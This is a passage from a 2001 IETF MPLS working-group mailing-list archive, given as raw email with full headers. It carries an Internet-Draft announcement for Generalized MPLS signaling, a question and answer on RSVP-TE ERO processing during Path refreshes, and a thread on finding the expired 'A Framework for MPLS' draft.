	name="draft-ietf-mpls-generalized-rsvp-te-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011001112948.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct  2 07:08:35 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03725
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 07:08:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlizk01200;
	Tue, 2 Oct 2001 11:07:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlizk03649
	for mpls-outgoing; Tue, 2 Oct 2001 11:06:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlizk03617
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 11:06:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlizk22097
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:06:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlizk05235
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:05:56 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id HAA21123 for <mpls@uu.net>; Tue, 2 Oct 2001 07:06:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA11248 for mpls@uu.net; Tue, 2 Oct 2001 07:06:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlizk26129
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 11:04:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlizk22765
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:04:14 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQlizk27813
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:04:26 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03474;
	Tue, 2 Oct 2001 07:04:10 -0400 (EDT)
Message-Id: <200110021104.HAA03474@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-generalized-signaling-06.txt
Date: Tue, 02 Oct 2001 07:04:10 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Generalized MPLS - Signaling Functional Description
	Author(s)	: E. Mannie et al.
	Filename	: draft-ietf-mpls-generalized-signaling-06.txt
	Pages		: 32
	Date		: 01-Oct-01
	
This document describes extensions to MPLS signaling required to
support Generalized MPLS.  Generalized MPLS extends the MPLS control
plane to encompass time-division (e.g. SONET ADMs), wavelength
(optical lambdas) and spatial switching (e.g. incoming port or fiber
to outgoing port or fiber).  This document presents a functional
description of the extensions.  Protocol specific formats and
mechanisms are specified in [GMPLS-RSVP] and [GMPLS-LDP].  Technology
specific details are expected to be specified in independent
technology specific documents, e.g., [GMPLS-SONET].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-06.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-generalized-signaling-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011001112938.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-generalized-signaling-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-generalized-signaling-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011001112938.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct  2 08:19:32 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06427
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 08:19:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlizp20468;
	Tue, 2 Oct 2001 12:17:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlizp27980
	for mpls-outgoing; Tue, 2 Oct 2001 12:16:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlizp27974
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 12:16:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlizp22983
	for <mpls@UU.NET>; Tue, 2 Oct 2001 12:15:18 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlizp27788
	for <mpls@UU.NET>; Tue, 2 Oct 2001 12:15:29 GMT
Received: from netbrahma.com (khuzema.netbrahma.com [172.16.72.142]) by brahma01.netbrahma.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id T5CS7AR1; Tue, 2 Oct 2001 17:41:13 +0530
Message-ID: <3BB9AF30.FE37AC5B@netbrahma.com>
Date: Tue, 02 Oct 2001 17:42:32 +0530
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
Organization: Netbrahma Technologies
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.5 i686)
X-Accept-Language: en
MIME-Version: 1.0
CC: mpls@UU.NET
Subject: RSVP-TE ERO Processing
References: <3BB9A5A3.D8EA690E@uom.ac.mu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I have  few question related to ERO Processing...

1. Does ERO Processing done each time when Intermediate node receives
Path Refresh?
2. If Not, then what it should do, when there is a change in ERO object
received in this Path Refresh than the ERO Object received in earlier
Path Messages..

Thanks,
Khuzema.


From owner-mpls@UU.NET  Tue Oct  2 11:20:50 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16270
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 11:20:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljab26310;
	Tue, 2 Oct 2001 15:17:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljab09936
	for mpls-outgoing; Tue, 2 Oct 2001 15:16:53 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljab09931
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 15:16:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljab03321
	for <mpls@UU.NET>; Tue, 2 Oct 2001 15:16:22 GMT
Received: from web14303.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14303.mail.yahoo.com [216.136.173.79])
	id QQljab24862
	for <mpls@UU.NET>; Tue, 2 Oct 2001 15:16:15 GMT
Message-ID: <20011002151621.70299.qmail@web14303.mail.yahoo.com>
Received: from [63.77.213.2] by web14303.mail.yahoo.com via HTTP; Tue, 02 Oct 2001 08:16:21 PDT
Date: Tue, 2 Oct 2001 08:16:21 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: A Framework for MPLS
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi, 
   Anybody knows about below draft condition. It it
became RFC?   

Title	 : A Framework for MPLS
Author(s): R. Callon,  P. Doolan, N. Feldman, 
           A. Fredette, G. Swallow, A. Viswanathan
Filename : draft-ietf-mpls-framework-04.txt

I couldn't able to find
draft-ietf-mpls-framework-04.txt draft at
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt
   Please give pointer to find above "A Framework for
MPLS" draft.

Thanks,
Srini.
 




From owner-mpls@UU.NET  Tue Oct  2 11:40:59 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17220
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 11:40:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljac23048;
	Tue, 2 Oct 2001 15:37:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljac11401
	for mpls-outgoing; Tue, 2 Oct 2001 15:36:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljac11396
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 15:36:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljac00262
	for <mpls@UU.NET>; Tue, 2 Oct 2001 15:36:11 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQljac22236
	for <mpls@UU.NET>; Tue, 2 Oct 2001 15:36:23 GMT
Message-ID: <3BB9DEE9.C13F88BD@sandburst.com>
Date: Tue, 02 Oct 2001 11:36:09 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Srinivas T M <srini_tm@yahoo.com>
Cc: mpls@UU.NET
Subject: Re: A Framework for MPLS
References: <20011002151621.70299.qmail@web14303.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Srinivas,

    This draft was overcome by events.  It had not become an RFC by the
time certain other drafts were well advanced in that direction and it was
in need of updating.

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray

You wrote:

> Hi,
>    Anybody knows about below draft condition. It it
> became RFC?
>
> Title    : A Framework for MPLS
> Author(s): R. Callon,  P. Doolan, N. Feldman,
>            A. Fredette, G. Swallow, A. Viswanathan
> Filename : draft-ietf-mpls-framework-04.txt
>
> I couldn't able to find
> draft-ietf-mpls-framework-04.txt draft at
> http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt
>    Please give pointer to find above "A Framework for
> MPLS" draft.
>
> Thanks,
> Srini.
>



From owner-mpls@UU.NET  Tue Oct  2 13:37:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22546
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 13:37:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljak20611;
	Tue, 2 Oct 2001 17:36:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljak27894
	for mpls-outgoing; Tue, 2 Oct 2001 17:36:32 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljak27889
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 17:36:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljak07727
	for <mpls@UU.NET>; Tue, 2 Oct 2001 17:34:53 GMT
Received: from web14307.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14307.mail.yahoo.com [216.136.173.83])
	id QQljak12249
	for <mpls@UU.NET>; Tue, 2 Oct 2001 17:35:04 GMT
Message-ID: <20011002173452.29623.qmail@web14307.mail.yahoo.com>
Received: from [63.77.213.2] by web14307.mail.yahoo.com via HTTP; Tue, 02 Oct 2001 10:34:52 PDT
Date: Tue, 2 Oct 2001 10:34:52 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: Re: A Framework for MPLS
To: Eric Gray <eric.gray@sandburst.com>
Cc: mpls@UU.NET
In-Reply-To: <3BB9DEE9.C13F88BD@sandburst.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Eric,
    Thanks for reply.
Is it possible to get same old draft
draft-ietf-mpls-framework-04.txt from IETF site ? But
it doesn't exist at
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt.
  Where can I get that draft ?

Thanks in Advance.
Regards,
Srini.

--- Eric Gray <eric.gray@sandburst.com> wrote:
> Srinivas,
> 
>     This draft was overcome by events.  It had not
> become an RFC by the
> time certain other drafts were well advanced in that
> direction and it was
> in need of updating.
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> You wrote:
> 
> > Hi,
> >    Anybody knows about below draft condition. It
> it
> > became RFC?
> >
> > Title    : A Framework for MPLS
> > Author(s): R. Callon,  P. Doolan, N. Feldman,
> >            A. Fredette, G. Swallow, A. Viswanathan
> > Filename : draft-ietf-mpls-framework-04.txt
> >
> > I couldn't able to find
> > draft-ietf-mpls-framework-04.txt draft at
> >
>
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt
> >    Please give pointer to find above "A Framework
> for
> > MPLS" draft.
> >
> > Thanks,
> > Srini.
> >
> 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com


From owner-mpls@UU.NET  Tue Oct  2 13:43:36 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAB22677
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 13:43:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljak28684;
	Tue, 2 Oct 2001 17:43:27 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljak28315
	for mpls-outgoing; Tue, 2 Oct 2001 17:43:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljak28308
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 17:43:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljak27284
	for <mpls@uu.net>; Tue, 2 Oct 2001 17:42:19 GMT
Received: from hoemail1.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail1.lucent.com [192.11.226.161])
	id QQljak21180
	for <mpls@uu.net>; Tue, 2 Oct 2001 17:42:30 GMT
Received: from nj7460exch002h.wins.lucent.com (h135-17-42-35.lucent.com [135.17.42.35])
	by hoemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f92HgIk11865
	for <mpls@uu.net>; Tue, 2 Oct 2001 13:42:18 -0400 (EDT)
Received: by nj7460exch002h.ho.lucent.com with Internet Mail Service (5.5.2650.21)
	id <SXXXMB03>; Tue, 2 Oct 2001 13:42:17 -0400
Message-ID: <4490F7068AC0D111A7120008C72878EC0C56B27B@nj7460exch003u.ho.lucent.com>
From: "Kyriakopoulos, Aris (Aris)" <aris@lucent.com>
To: "'Srinivas T M'" <srini_tm@yahoo.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: A Framework for MPLS
Date: Tue, 2 Oct 2001 13:42:15 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Srini,

Try this link:
http://www.ietf.org/proceedings/99nov/I-D/draft-ietf-mpls-framework-05.txt

Remember, as Eric said, the material in this draft is way out of date.  It
does provide a good snapshot of the events at the time, though.

Enjoy,
Aris

 -----Original Message-----
From: 	Srinivas T M [mailto:srini_tm@yahoo.com] 
Sent:	Tuesday, October 02, 2001 1:35 PM
To:	Eric Gray
Cc:	mpls@UU.NET
Subject:	Re: A Framework for MPLS

Eric,
    Thanks for reply.
Is it possible to get same old draft
draft-ietf-mpls-framework-04.txt from IETF site ? But
it doesn't exist at
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt.
  Where can I get that draft ?

Thanks in Advance.
Regards,
Srini.

--- Eric Gray <eric.gray@sandburst.com> wrote:
> Srinivas,
> 
>     This draft was overcome by events.  It had not
> become an RFC by the
> time certain other drafts were well advanced in that
> direction and it was
> in need of updating.
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> You wrote:
> 
> > Hi,
> >    Anybody knows about below draft condition. It
> it
> > became RFC?
> >
> > Title    : A Framework for MPLS
> > Author(s): R. Callon,  P. Doolan, N. Feldman,
> >            A. Fredette, G. Swallow, A. Viswanathan
> > Filename : draft-ietf-mpls-framework-04.txt
> >
> > I couldn't able to find
> > draft-ietf-mpls-framework-04.txt draft at
> >
>
http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt
> >    Please give pointer to find above "A Framework
> for
> > MPLS" draft.
> >
> > Thanks,
> > Srini.
> >
> 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com


From owner-mpls@UU.NET  Tue Oct  2 13:47:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22796
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 13:47:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljal27114;
	Tue, 2 Oct 2001 17:47:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljal28664
	for mpls-outgoing; Tue, 2 Oct 2001 17:46:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljal28654
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 17:46:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljal22384
	for <mpls@uu.net>; Tue, 2 Oct 2001 17:45:55 GMT
Received: from prue.eim.surrey.ac.uk by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: prue.eim.surrey.ac.uk [131.227.76.5])
	id QQljal25297
	for <mpls@uu.net>; Tue, 2 Oct 2001 17:46:06 GMT
Received: from phaestos.ee.surrey.ac.uk ([131.227.88.14] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1)
	id 15oTc0-0004A0-00; Tue, 02 Oct 2001 18:45:44 +0100
Date: Tue, 2 Oct 2001 18:45:35 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@phaestos.ee.surrey.ac.uk
Reply-To: Lloyd Wood <L.Wood@eim.surrey.ac.uk>
To: Srinivas T M <srini_tm@yahoo.com>
cc: Eric Gray <eric.gray@sandburst.com>, mpls@UU.NET
Subject: Re: A Framework for MPLS
In-Reply-To: <20011002173452.29623.qmail@web14307.mail.yahoo.com>
Message-ID: <Pine.GSO.4.21.0110021840270.21736-100000@phaestos.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Scanner: exiscan *15oTc0-0004A0-00*9B6uWrcMDjY* http://duncanthrax.net/exiscan/
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 2 Oct 2001, Srinivas T M wrote:

> Is it possible to get same old draft
> draft-ietf-mpls-framework-04.txt from IETF site ? But
> it doesn't exist at
> http://www.ietf.org/internet-drafts/draft-ietf-mpls-framework-04.txt.

internet drafts expire. by design.

>   Where can I get that draft ?

http://www.watersprings.org/pub/id/draft-ietf-mpls-framework-05.txt

Title    : A Framework for MPLS
Author(s): R. Callon,  P. Doolan, N. Feldman,
           A. Fredette, G. Swallow, A. Viswanathan

as for any expired internet draft. I'd quite like to see this updated
and published, if only so I could get a coherent idea of what the
current MPLS framework _is_ post CCAMP etc.

L.

> --- Eric Gray <eric.gray@sandburst.com> wrote:
> > Srinivas,
> > 
> >     This draft was overcome by events.  It had not
> > become an RFC by the time certain other drafts were well advanced
> >in that direction and it was in need of updating.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-mpls@UU.NET  Tue Oct  2 14:20:27 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24342
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 14:20:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljan11041;
	Tue, 2 Oct 2001 18:20:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljan19717
	for mpls-outgoing; Tue, 2 Oct 2001 18:20:07 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljan19712
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 18:20:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljan03381
	for <mpls@UU.NET>; Tue, 2 Oct 2001 18:17:47 GMT
Received: from calliope1.fm.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQljan05303
	for <mpls@UU.NET>; Tue, 2 Oct 2001 18:17:58 GMT
Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id SAA19358
	for <mpls@UU.NET>; Tue, 2 Oct 2001 18:17:45 GMT
Received: from fmsmsx27.fm.intel.com ([132.233.42.27])
 by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001100211173001919
 ; Tue, 02 Oct 2001 11:17:30 -0700
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <TZ569Z1Z>; Tue, 2 Oct 2001 11:18:14 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA0F2@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Khuzema Pithewan'" <KhuzemaP@netbrahma.com>
Cc: mpls@UU.NET
Subject: RE: RSVP-TE ERO Processing
Date: Tue, 2 Oct 2001 11:19:06 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

IMO, this is implementation dependant. Personally, I wouldn't want to
process the ERO each time if there is no change in the ERO. Since the
receiver node won't know whether the message is simply a refresh message
unless it does some kind of check of the message, (1) and (2) are somehow
the same question.

Hope this helps.

- Mark

> -----Original Message-----
> From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> Sent: Tuesday, October 02, 2001 5:13 AM
> Cc: mpls@UU.NET
> Subject: RSVP-TE ERO Processing
> 
> 
> Hi,
> 
> I have  few question related to ERO Processing...
> 
> 1. Does ERO Processing done each time when Intermediate node receives
> Path Refresh?
> 2. If Not, then what it should do, when there is a change in 
> ERO object
> received in this Path Refresh than the ERO Object received in earlier
> Path Messages..
> 
> Thanks,
> Khuzema.
> 


From owner-mpls@UU.NET  Tue Oct  2 20:59:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA05252
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 20:59:37 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljbn00147;
	Wed, 3 Oct 2001 00:59:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljbn10016
	for mpls-outgoing; Wed, 3 Oct 2001 00:59:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljbn10011
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 3 Oct 2001 00:59:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljbn10637
	for <mpls@UU.NET>; Wed, 3 Oct 2001 00:58:57 GMT
Received: from mailsrv.coronanetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [67.104.79.164])
	id QQljbn14186
	for <mpls@UU.NET>; Wed, 3 Oct 2001 00:59:09 GMT
Received: by mail1.coronanetworks.com with Internet Mail Service (5.5.2653.19)
	id <T4RWHYJH>; Tue, 2 Oct 2001 18:03:27 -0700
